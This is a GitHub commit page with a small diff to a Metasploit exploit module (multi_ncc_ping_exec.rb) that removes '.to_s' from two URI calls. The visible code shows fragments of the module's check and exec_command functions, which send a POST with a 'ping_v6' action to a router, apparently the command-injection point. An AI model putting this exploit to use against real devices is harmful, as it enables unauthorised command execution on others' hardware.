Skip to content

Commit d81a246

Browse files
author
m-1-k-3
committed
target_uri
1 parent b7f469b commit d81a246

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/linux/http/multi_ncc_ping_exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@ def check
7979
begin
8080
res = send_request_cgi({
8181
'method' => 'GET',
82-
'uri' => normalize_uri(target_uri.path.to_s)
82+
'uri' => normalize_uri(target_uri.path)
8383
})
8484

8585
# unknown if other devices also using mini_httpd
@@ -97,7 +97,7 @@ def exec_command(cmd, timeout=20)
9797
begin
9898
res = send_request_cgi({
9999
'method' => 'POST',
100-
'uri' => normalize_uri(target_uri.path.to_s),
100+
'uri' => normalize_uri(target_uri.path),
101101
'encode_params' => false,
102102
'vars_post' => {
103103
"ccp_act" => "ping_v6",

0 commit comments

Comments
 (0)